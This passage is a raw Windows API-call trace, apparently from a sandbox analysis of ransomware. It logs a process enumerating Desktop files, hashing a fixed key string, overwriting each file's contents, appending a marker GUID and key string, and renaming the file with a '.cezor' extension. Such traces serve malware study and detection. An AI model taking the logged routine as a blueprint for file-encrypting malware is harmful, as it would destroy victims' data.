hHeap=0x670000) returned 1 [0059.861] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.861] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.861] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.861] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.861] CloseHandle (hObject=0x5c4) returned 1 [0059.861] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.862] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0059.862] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.862] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I TKCX nhSV2b.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i tkcx nhsv2b.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I TKCX nhSV2b.mp3.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i tkcx nhsv2b.mp3.cezor")) returned 1 [0059.863] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.863] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.863] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.863] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca678bd0, ftCreationTime.dwHighDateTime=0x1d4d0a2, ftLastAccessTime.dwLowDateTime=0xddd4430, ftLastAccessTime.dwHighDateTime=0x1d4d4b9, ftLastWriteTime.dwLowDateTime=0xddd4430, ftLastWriteTime.dwHighDateTime=0x1d4d4b9, nFileSizeHigh=0x0, nFileSizeLow=0xbd9a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KdF36F.avi", cAlternateFileName="")) returned 1 [0059.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.864] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KdF36F.avi") returned=".avi" [0059.864] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KdF36F.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kdf36f.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.864] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=48538) returned 1 [0059.864] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.866] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbd74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.866] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.867] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.867] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.867] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.867] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xbd9a, lpOverlapped=0x0) returned 1 [0059.867] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.867] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.867] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.868] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.868] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.868] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.868] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.868] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.868] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.868] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.868] GetLastError () returned 0x0 [0059.868] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.868] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.869] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.869] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbda0) returned 0x3132418 [0059.869] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.869] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.869] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xbd95, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xbd95, lpOverlapped=0x0) returned 1 [0059.869] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0059.869] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbd9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.869] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.869] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0059.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.869] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0059.869] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.869] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.869] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.869] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.870] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.870] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.870] CloseHandle (hObject=0x5c4) returned 1 [0059.870] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.870] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306a418 [0059.871] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.871] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KdF36F.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kdf36f.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KdF36F.avi.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kdf36f.avi.cezor")) returned 1 [0059.871] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.871] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.872] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.872] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf8e79c0, ftCreationTime.dwHighDateTime=0x1d4c888, ftLastAccessTime.dwLowDateTime=0x10a2e520, ftLastAccessTime.dwHighDateTime=0x1d4cd6c, ftLastWriteTime.dwLowDateTime=0x10a2e520, ftLastWriteTime.dwHighDateTime=0x1d4cd6c, nFileSizeHigh=0x0, nFileSizeLow=0x21b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kKP8D1f.mp3", cAlternateFileName="")) returned 1 [0059.872] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.872] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.872] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.872] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kKP8D1f.mp3") returned=".mp3" [0059.872] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kKP8D1f.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kkp8d1f.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.872] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=8630) returned 1 [0059.872] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.875] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2190, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.875] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.876] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.876] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.876] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.876] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x21b6, lpOverlapped=0x0) returned 1 [0059.876] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.876] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.876] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.876] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.876] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.877] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.877] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.877] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.877] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.877] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.877] GetLastError () returned 0x0 [0059.877] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.877] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.877] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.877] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x21c0) returned 0x31218d0 [0059.877] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.877] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.877] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x21b1, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x21b1, lpOverlapped=0x0) returned 1 [0059.877] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0059.877] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x21b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.877] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.877] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0059.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.877] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0059.877] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.878] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.878] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.878] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.878] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.878] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.878] CloseHandle (hObject=0x5c4) returned 1 [0059.879] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.879] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306a418 [0059.879] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.879] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kKP8D1f.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kkp8d1f.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kKP8D1f.mp3.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kkp8d1f.mp3.cezor")) returned 1 [0059.879] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.879] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.880] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.880] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d56e9a0, ftCreationTime.dwHighDateTime=0x1d4d0ae, ftLastAccessTime.dwLowDateTime=0xa8788c80, ftLastAccessTime.dwHighDateTime=0x1d4d256, ftLastWriteTime.dwLowDateTime=0xa8788c80, ftLastWriteTime.dwHighDateTime=0x1d4d256, nFileSizeHigh=0x0, nFileSizeLow=0x130ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nborqaG7LbY-8nT0ByEv.pps", cAlternateFileName="NBORQA~1.PPS")) returned 1 [0059.880] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.880] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0059.880] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.880] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nborqaG7LbY-8nT0ByEv.pps") returned=".pps" [0059.880] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nborqaG7LbY-8nT0ByEv.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nborqag7lby-8nt0byev.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.881] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=78062) returned 1 [0059.881] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.883] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x130c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.883] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.884] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.884] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.884] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.884] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x130ee, lpOverlapped=0x0) returned 1 [0059.884] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.885] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.885] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.885] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.885] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ec50) returned 1 [0059.885] CryptCreateHash (in: hProv=0x74ec50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.885] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.885] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.885] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.885] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.885] GetLastError () returned 0x0 [0059.885] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.886] CryptReleaseContext (hProv=0x74ec50, dwFlags=0x0) returned 1 [0059.886] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.886] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x130f0) returned 0x3132418 [0059.886] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.886] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.886] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x130e9, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x130e9, lpOverlapped=0x0) returned 1 [0059.886] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0059.886] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x130ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.886] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.886] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0059.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.886] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0059.887] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.887] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.887] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.887] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.887] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.887] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.887] CloseHandle (hObject=0x5c4) returned 1 [0059.888] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0059.888] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0059.888] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0059.888] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nborqaG7LbY-8nT0ByEv.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nborqag7lby-8nt0byev.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nborqaG7LbY-8nT0ByEv.pps.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nborqag7lby-8nt0byev.pps.cezor")) returned 1 [0059.889] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.889] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.890] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0059.890] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4191bce0, ftCreationTime.dwHighDateTime=0x1d4c94a, ftLastAccessTime.dwLowDateTime=0xfad1f900, ftLastAccessTime.dwHighDateTime=0x1d4cd8b, ftLastWriteTime.dwLowDateTime=0xfad1f900, ftLastWriteTime.dwHighDateTime=0x1d4cd8b, nFileSizeHigh=0x0, nFileSizeLow=0x163db, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nXxNQgqy6gVdEPQ.bmp", cAlternateFileName="NXXNQG~1.BMP")) returned 1 [0059.890] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.890] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0059.890] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | 